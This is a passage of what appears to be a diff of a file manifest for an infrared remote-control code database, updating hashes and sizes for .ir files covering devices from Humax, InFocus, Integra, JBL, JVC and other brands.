-F:f4e405242a0221cfa779b033d18212bb:3398:infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir -F:2e9610ee7743a3b26ffd1135ac46573a:3233:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir -F:3af3ebfc580fea0f40dfaf4354523e47:2900:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir -F:97f4e4148537cc8bf7c0934e771ea8ee:4990:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir -F:0e6d8047e9a54534dc72ba1790619076:3410:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir -F:05ee1b31016a5bb36539049701e979f1:310:infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir -F:56e03d70ca178d7f0e4e68670b9c862e:3700:infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir -F:629cb54a986f4dc5895b9391e5755fb6:3275:infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir -F:040db42cc9264346d9f8c1ac9f9d7c57:3766:infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir -F:d4cfaf0a42f46743a7fddb1bdd2e0fa7:3135:infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir -F:3f249f19952a3f7e3906a84448492124:3977:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir -F:b6b5263d57391ba0d2e0606211d76325:3152:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir -F:94a19136b4afd63d4c97aeb2c292279b:4798:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir -F:ad2e378d548a8423eddd53cbae39d4d5:3756:infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir -F:a12b1d32d50db8e754ec2034a6c89e77:3145:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir +F:2d3b8a09d0bb1a194ce55c4c365568ce:3174:infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir +F:e73896558f391dae35f68731324f1516:3021:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir +F:130780da60df9a6392bd64270f7c474b:2712:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir +F:8511c37db402db69cd7160e12f13ee6c:4670:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir +F:9eb92ce4244995df3d385fd195a51917:3186:infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir +F:4061bdc8b2d54426ca4732ac21a03c18:290:infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir +F:f394113b07cf74b723a0328e95fe518c:3458:infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir +F:8dbcc3dd079b2475ad5b9165e20df75c:3063:infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir +F:c4f3047e4e5a5663a1474dd307c4d1de:3524:infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir +F:0cb186bbc24cf6be994fd7d0b973513b:2935:infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir +F:41ad4bc63be7b356d64b90c8387a4f43:3723:infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir +F:9b1f8b342dbd4beb615c5a9f475dc988:2952:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir +F:bc61925f0279beca9492d7ac9996cdc5:4496:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir +F:76cb215b31ab147d7c71b02d01c9ad39:3520:infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir +F:6c421584fd6c36b359d76a93ab8e9156:2945:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir D:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N D:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t -F:631a69d6e94ce1bd729592922b56713f:4669:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir -F:b7a8f34aeb84f82ce62766db83001f7c:2231:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir +F:5cc52952134fd77d24e5dbc48257de48:4373:infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir +F:491d8be41717b9049a6766ad578dfddd:2091:infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir D:infrared/_CSV-IRDB_/I-O Data/DVD Player -F:31d82a67c6200da4cf5d538cd50fc514:4364:infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir +F:4deccbd6aab865717e4d575e9d8401ed:4080:infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir D:infrared/_CSV-IRDB_/I24/Unknown_I24 -F:7ecf76e74132e9e009880dc0c08fefb9:2303:infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir +F:4cbab173c8bae95a796ac81798c68290:2157:infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir D:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray -F:3e07c8f8a44893b2e96f4ff3bfaf8b4e:5002:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir +F:d21c929738734335851243ca6388d88a:4676:infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir D:infrared/_CSV-IRDB_/ITT/Unknown_ITT D:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA D:infrared/_CSV-IRDB_/ITT/Unknown_RC40 D:infrared/_CSV-IRDB_/ITT/Unknown_RC51 -F:14665a88e63d9ca5baa0ddb746d34e00:3813:infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir -F:f29e8f6db0f3680a3f4edd3beb639b76:4960:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir -F:64adeb46c4974172ddd93917f1586663:1545:infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir -F:e44680d63906a4fd95fa75a6e55276ce:1360:infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir +F:1337c37abe480c40b7b1b450b2e353fa:3571:infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir +F:73c8db85b6ef9b2f91d72cc404248aaa:4646:infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir +F:f739d572154d620755f8e17d1610d486:1447:infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir +F:8398ca85fb310eb3ae277e3c40eb3e8a:1274:infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir D:infrared/_CSV-IRDB_/Illusion/Unknown_M3 -F:961065743f4cecadcd9bc4ef81331572:3697:infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir +F:481ec16235a859c5d8a163103707c332:3461:infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir D:infrared/_CSV-IRDB_/Imerge/Digital Jukebox -F:19d7c9304f6c84126ddc135e691cb210:3637:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir -F:8ddeb9bc3800ef9a50b40472555066c3:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir -F:d5c8e7630c3da761503df72671b4e480:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir -F:712556c8ba8bbb750dad58cc95ddab16:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir -F:4ea4a5ce57f13897d4e1870c908e3196:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir -F:f35246ddb3a19a891d5b3bbdfffad3c1:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir -F:e257cfa045ed4b868693914b17123792:134:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir -F:c94ec919c0b7561fc769186467ca2459:1768:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir -F:cf81600de3073dec4296e2cb6966c00c:929:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir +F:7a7263cbdb9e1bc3808edd6f7ea498cd:3401:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir +F:1bd6704d8bb090252e073cddc32781ae:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir +F:64bbd2bac5a9c481ad573520bf41616d:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir +F:a1ccc707878d640e226d73f63bae1331:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir +F:d978e4e77b3bc80f13d5dc1377baabdd:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir +F:0aca386effa1fde2d08a3db4e5585ddd:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir +F:196a431db43e1ac8d1af6e4bfd6486ca:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir +F:a4ed7d2587ec9246ad4126d929602c46:1652:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir +F:d3191457b603a83e893b0454ee267916:867:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir D:infrared/_CSV-IRDB_/InFocus/DLP Projector D:infrared/_CSV-IRDB_/InFocus/Plasma D:infrared/_CSV-IRDB_/InFocus/Projector @@ -3061,35 +3061,35 @@ D:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600 D:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay D:infrared/_CSV-IRDB_/InFocus/Unknown_remote D:infrared/_CSV-IRDB_/InFocus/Video Projector -F:e7f30622ed35ea1dcabc8923e002517d:3130:infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir -F:ef95d1902b971f4d44e4e146e65c0d4d:3160:infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir -F:56d6a7673da4e88644443e0ba8fee771:3297:infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir -F:e61c197171397d6117e0bce4a9248289:1475:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir -F:3cafd8a0106ea7261bea05e9056f8eb6:1856:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir -F:71f059c07b817e90a72a29bd42ba5eef:1002:infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir -F:1629806784ac4b30c278d9d0a622f492:126:infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir -F:81bda3db485fe15085f94a0d0fbeaa8c:2124:infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir -F:ba12df5058c7c8d8c099df5c01e487da:1481:infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir -F:dab999f61e5c7fb8c1706ed0b3a313fc:9494:infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir -F:e7f30622ed35ea1dcabc8923e002517d:3130:infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir -F:416898160f26fda94e1c23fcb051af41:1182:infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir -F:ebbe4b704d3c0560982010a12351c863:3017:infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir -F:bc03ecb04f7526727a71aacbd966f082:1548:infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir +F:42d68f6a67ab2207a588672145078887:2924:infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir +F:18fe42d3dbd50411c43d26c42a5cab70:2954:infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir +F:22624c1e40bb648c526612b57d583c80:3091:infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir +F:08aa86464b645faaafa4a1df1b8ec809:1383:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir +F:6cb09ed31eb99ec33f412fec170fe3c7:1740:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir +F:48ac7f12514c439fadbde793980874d7:940:infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir +F:01ef2a1a67d9f393bad53d5a3bbb6b86:118:infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir +F:6e4d01e84688ad64b928be6b5dc39012:1990:infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir +F:adb86162c4cccb1adef5f1995babd02a:1389:infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir +F:3cdee1fc4db86b9c8a3a506abd516b51:8898:infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir +F:42d68f6a67ab2207a588672145078887:2924:infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir +F:3380020b546d74c0bea14278c841c3f2:1108:infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir +F:310231a73028b9921375cfc46bd7faeb:2829:infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir +F:0562d68c8d1f221882ad593f3b042730:1450:infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir D:infrared/_CSV-IRDB_/Insignia/Blu-Ray D:infrared/_CSV-IRDB_/Insignia/DVD Player D:infrared/_CSV-IRDB_/Insignia/TV D:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301 -F:1176b0c8772e9d8a1ce161467d8b401f:3456:infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir -F:3d2d8a45a6e2aa6680bb821e7c7cd2ae:3992:infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir -F:3d2d8a45a6e2aa6680bb821e7c7cd2ae:3992:infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir -F:0991f0f0bcff4c7521878224c3f4cf92:3996:infrared/_CSV-IRDB_/Insignia/TV/134,5.ir -F:f90c2a50793df94637653332ed92683b:4557:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir +F:7dded1f7fdb71c8212e22905dd1333c7:3232:infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir +F:5a8c1d97c6f1bfe8a0e740149b06cef1:3732:infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir +F:5a8c1d97c6f1bfe8a0e740149b06cef1:3732:infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir +F:8aa6233a594c20068697bebe84cdd7bf:3736:infrared/_CSV-IRDB_/Insignia/TV/134,5.ir +F:803a9aafbff4ca211a6bd2b6a1dcb448:4267:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir D:infrared/_CSV-IRDB_/Instant Replay/VCR -F:fd3a4652d9e2af5010678fca842585b3:3310:infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir -F:93c0397e430e19bad3355250fef7221d:224:infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir -F:cde40b66c19392d55e97f5921e39d802:321:infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir -F:80afb1085b459da96fb579783823e358:3050:infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir -F:f7082276b7ac72e3db014445f3b83c20:132:infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir +F:3dc720876879354c976b92438b8cbf52:3098:infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir +F:efa1568c26f7460a1132a5ed33c233e8:210:infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir +F:1b5a55be0ecf265ff69602c0d4ce0a2d:301:infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir +F:72f0e53b10df6e7e18b8155a42fe78a6:2856:infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir +F:be40d5e60da042693c6bf184183cdb5e:124:infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir D:infrared/_CSV-IRDB_/Integra/Amplifier D:infrared/_CSV-IRDB_/Integra/Blu-Ray D:infrared/_CSV-IRDB_/Integra/CD Player @@ -3102,68 +3102,68 @@ D:infrared/_CSV-IRDB_/Integra/Pre-Amplifier D:infrared/_CSV-IRDB_/Integra/Receiver D:infrared/_CSV-IRDB_/Integra/Tuner D:infrared/_CSV-IRDB_/Integra/iPod -F:e54a3bd62ce3ddc12204420038ff280a:2996:infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir -F:d4043bb06b7c2a5a7a5c2c8f34b2f708:1188:infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir -F:14cc86b6bcc4b8e077605237c247c33c:4212:infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir -F:0fe0c3ef6217fb44b6586097e2a9c6fe:4205:infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir -F:74ef62a79067b724ee73606028f0ed52:5114:infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir -F:2963ccaf7b71680a246ecc47d0c2133b:19296:infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir -F:82bb324706ae1c45b8903d07b5de9320:4797:infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir -F:9161d58f499476684433af21ad666e8b:784:infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir -F:d8085a89223c84eded5f453269ad9894:131:infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir -F:62a11be2f1c7d4e0209b19db4a543244:3125:infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir -F:82bb324706ae1c45b8903d07b5de9320:4797:infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir -F:e54a3bd62ce3ddc12204420038ff280a:2996:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir -F:d4043bb06b7c2a5a7a5c2c8f34b2f708:1188:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir -F:8dd92812909cd3fdac4ebbf9562a27e4:7268:infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir -F:298123583f88b741e9ee8bb7461263ee:3256:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir -F:db429a03a79117b36bec7c582d53313e:2607:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir -F:86b26320c4924a76299b6910dc482b05:1369:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir -F:de28f4cb254c1fbf7552d8f41621c4aa:6189:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir -F:69af92eb8397f05268cfb751ded85684:3136:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir -F:4ea9fb02dfbc0e6401519aa4c704d0c1:6720:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir -F:c7d766f54f9cc5d819ec10c0a0374b03:222:infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir -F:23459f2386dabdf8a26176e7e5503f1c:24460:infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir -F:a30229773701cc7f113a3f972fc42acc:34255:infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir -F:d811a42eefc765412c4eed3ccdba7d59:6551:infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir -F:f27775e345669d513c610692b93d0480:6062:infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir -F:74c8d8d87e22535fd0df62d0ef90698a:1979:infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir -F:5e1b71ac1de10d2692cac419eb74fc78:513:infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir -F:81dd91b92eef174636d952994a2c97e9:15425:infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir -F:7c6aa96d272d12b2126489e64f1bc55d:5602:infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir -F:cb3e591f4fb127f8dc4da690fe295a39:5056:infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir -F:b90c6a06f042290da0dc08e8101a54be:1592:infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir -F:0776d54fc672e6b7a32698504f0df8a8:412:infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir -F:fe367b49c25506700374d760d66e9041:3491:infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir -F:928b3a97711b6fae44d565ba7791c4ad:6975:infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir -F:6bb2bcc97e14ca2f7e45622fc7a36284:11614:infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir -F:08269e237c6fa782c6b9811035fcbd2f:130:infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir -F:9c42cb8079d4bcaf20bd2849147bd60a:217:infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir -F:746b4069c00dd8f402e7c00954344a5a:1019:infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir -F:4bb9d2d97437db9ebec6f36e4c53940e:1411:infrared/_CSV-IRDB_/Integra/iPod/210,108.ir -F:2e15acd9181e83fad9ed9ba2d6a56364:829:infrared/_CSV-IRDB_/Integra/iPod/210,109.ir -F:ffff35574b9a5b64d50aae52abe14c33:1592:infrared/_CSV-IRDB_/Integra/iPod/210,172.ir -F:65408298f436555c8aafb6c63791aef2:2213:infrared/_CSV-IRDB_/Integra/iPod/210,2.ir +F:4ecc0e1c814365465f1102f29f767c92:2808:infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir +F:495ce350e1a5cb3d5c645de65ea066aa:1108:infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir +F:a60e57bd9a6e42cec4388bf5c99c6117:3940:infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir +F:38ef7f553768b67ced02abe17442515d:3933:infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir +F:4698efe4f71bbd6db94ca5ed5e23271d:4782:infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir +F:41e509c8aa12ca5b510f953a2b961d6a:18064:infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir +F:3c436d12458a3028f17ea224758481f9:4489:infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir +F:f1c090de8bcfc446397f84e636609f2a:734:infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir +F:e6ff20df8c6087c8bd03e6dc0a7ae282:123:infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir +F:3a62ba0e120137d20c2fff27a1b43e34:2925:infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir +F:3c436d12458a3028f17ea224758481f9:4489:infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir +F:4ecc0e1c814365465f1102f29f767c92:2808:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir +F:495ce350e1a5cb3d5c645de65ea066aa:1108:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir +F:6cbfb925911a422aea12a62e22985e5a:6810:infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir +F:35e5b30ba3861eccd21dc5156081698e:3062:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir +F:a1042499c9e7e436fbcb3a06cc2533b0:2449:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir +F:2d5c9025e9e39a6a98a7ef9656c9c9bb:1289:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir +F:f721b2b4368b8f1e939eaab1fca994b9:5809:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir +F:61d58efac453e1bd70fc8c2c7be908be:2954:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir +F:f6d256d8840eb8ccde25997dce6ae8b1:6328:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir +F:3e3915e4c143323679a685f1210c88d5:208:infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir +F:7fec46cbd4780214860313425d83271b:22928:infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir +F:e1c660005fb350fbcd2b70760b471550:32075:infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir +F:1160d42a57860b7749203fb241f02c51:6147:infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir +F:aa7c0c66a7504ecd3040ee88539c42b8:5688:infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir +F:1bcd37b2a40330cf3f46b74a44baad09:1857:infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir +F:ff67c0c54761749ef5d0ccec6234f343:481:infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir +F:25530c79180ca53ec82a2bad7ab484c2:14463:infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir +F:de1b3c2875e99c08d79b0e7d5e50d455:5252:infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir +F:46c4c40e385ce4cf3131662f7a575ef2:4742:infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir +F:0c0a0265cf701a3d4208b6a404a70350:1494:infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir +F:5a6e54b4b8f26e69dd22566e83c017d2:386:infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir +F:c4216e079385519b40aa6996ef9ecff5:3267:infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir +F:4f0db5b896dac822b22f2d9572d5bbe9:6565:infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir +F:7361831a37e32d6398823356c2e89351:10916:infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir +F:4c863d9c00b3e22e989005e45007e349:122:infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir +F:3dfccea088a27b3dc09c17024f0a2d16:203:infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir +F:bafc54e29a446d4b6cb6ee5b3ed48408:951:infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir +F:e70046ce278224714f82b82e41ce418b:1325:infrared/_CSV-IRDB_/Integra/iPod/210,108.ir +F:590cac230cf298987c0dcd0e4fa505c0:779:infrared/_CSV-IRDB_/Integra/iPod/210,109.ir +F:7ff2c42939b09d5480e8ad4902f5269a:1494:infrared/_CSV-IRDB_/Integra/iPod/210,172.ir +F:b81d34157e4d275dbb61eac73df55b19:2073:infrared/_CSV-IRDB_/Integra/iPod/210,2.ir D:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio -F:d3ffb1f8412047bc9dd47f17c260bd4e:2931:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir +F:b69089386a4c54658ab162ac01d5254a:2737:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir D:infrared/_CSV-IRDB_/Interact/Unknown_I-22121 -F:560af23956ee806f3e71df583cefd24f:1585:infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir +F:174d3790aa56d5ef555ea217800b8c17:1487:infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir D:infrared/_CSV-IRDB_/Intervideo/VCR -F:db808478376a78e5571f4cd7d5cc39bb:4043:infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir +F:08f90063c08158ced8657dd0f80e5d27:3783:infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir D:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision -F:c9f2aba8cc1e0e99c230fc5b498210a2:2981:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir +F:6a980a83f315773463c5763e8ee3e144:2793:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir D:infrared/_CSV-IRDB_/Irradio/3331_DVB-T D:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V -F:12f09c5adf1574ba9f21a6711cbb4f8c:3186:infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir -F:2adaf5a4c8caa98fef2882d2f6f61ce9:1861:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir +F:a1dfca60f604ce62b93be7216391d7a7:2974:infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir +F:5b9b827a25ad07e5f3c16a5cfc1430af:1745:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir D:infrared/_CSV-IRDB_/JBL/Receiver D:infrared/_CSV-IRDB_/JBL/Surround Processor -F:9f3a4cf5abc7f4800e4a533b8b8700f6:2318:infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir -F:06c1ccbea0ba54dd2c85c2636e081f29:7451:infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir -F:2b231ff6993e83d807a7a96bcff3ebbc:3178:infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir -F:ceec37cb321125212482c40538e0300e:3554:infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir +F:ad64fffb1c2eabd418ee5a089939e1af:2166:infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir +F:6e79deba953c1d6d9b4f89a633841d78:6987:infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir +F:0c8fb1e28ef587c89c8f14564fe44d8f:2978:infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir +F:1883d6a0beee0cb6cc98b5e64ad0b775:3336:infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir D:infrared/_CSV-IRDB_/JENSEN/VCR -F:244f75ab18ba9cf337e299b280c00759:2127:infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir +F:7d239f7b17ff68fb490ab8f6b691cc75:1987:infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir D:infrared/_CSV-IRDB_/JVC/CD Jukebox D:infrared/_CSV-IRDB_/JVC/CD Player D:infrared/_CSV-IRDB_/JVC/Camcorder @@ -3219,170 +3219,170 @@ D:infrared/_CSV-IRDB_/JVC/Unknown_sw D:infrared/_CSV-IRDB_/JVC/VCR D:infrared/_CSV-IRDB_/JVC/Video Projector D:infrared/_CSV-IRDB_/JVC/Video Switcher -F:60a93ce695f379c7400526d67aa1bfaa:2409:infrared/_CSV-IRDB_/JVC/CD 